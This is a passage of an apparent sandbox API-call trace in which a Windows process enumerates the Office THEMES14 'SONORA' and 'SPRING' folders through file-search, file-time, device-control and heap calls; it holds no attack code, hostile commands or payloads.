"c:\\program files\\common files\\microsoft shared\\themes14\\sonora"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.299] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf02b28 [0055.299] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf02b28, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf02b28, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.299] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf02b28) returned 1 [0055.299] NtClose (Handle=0x170) returned 0x0 [0055.299] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.299] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.299] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01488 [0055.300] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.300] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.300] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01590 [0055.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00800 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01698 [0055.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.300] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.300] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00820 [0055.300] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf017a0 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x900) returned 0xf02b28 [0055.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef8cd8) returned 1 [0055.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.301] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00840 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf018a8 [0055.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.301] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00860 [0055.301] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf019b0 [0055.301] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.301] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.301] GetLastError () returned 0x12 [0055.302] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.302] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28535900, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28535900, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd59f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.ELM", cAlternateFileName="")) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA.INF", cAlternateFileName="")) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.302] GetLastError () returned 0x12 [0055.302] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01488) returned 1 [0055.302] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.302] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01590) returned 1 [0055.302] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef4c58) returned 1 [0055.302] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0055.302] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.302] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.304] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf03430 [0055.304] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf03430, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf03430, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf03430) returned 1 [0055.304] NtClose (Handle=0x17c) returned 0x0 [0055.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4c58 [0055.304] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.304] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01590 [0055.304] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.305] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.305] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x300000, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01488 [0055.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf00880 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01ab8 [0055.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.305] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x300000, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf008a0 [0055.305] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01bc0 [0055.305] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.306] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x300000, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf008c0 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01cc8 [0055.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.306] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf008e0 [0055.306] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf01dd0 [0055.306] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.306] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.306] GetLastError () returned 0x12 [0055.306] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c38 [0055.306] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.307] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x300000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.307] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x9df, dwReserved0=0x300000, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0055.307] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab5b300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2ab5b300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x10af1, dwReserved0=0x300000, dwReserved1=0x0, cFileName="SPRING.ELM", cAlternateFileName="")) returned 1 [0055.307] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x300000, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1 [0055.307] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0055.307] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x300000, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0055.307] GetLastError () returned 0x12 [0055.307] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf01590) returned 1 [0055.307] 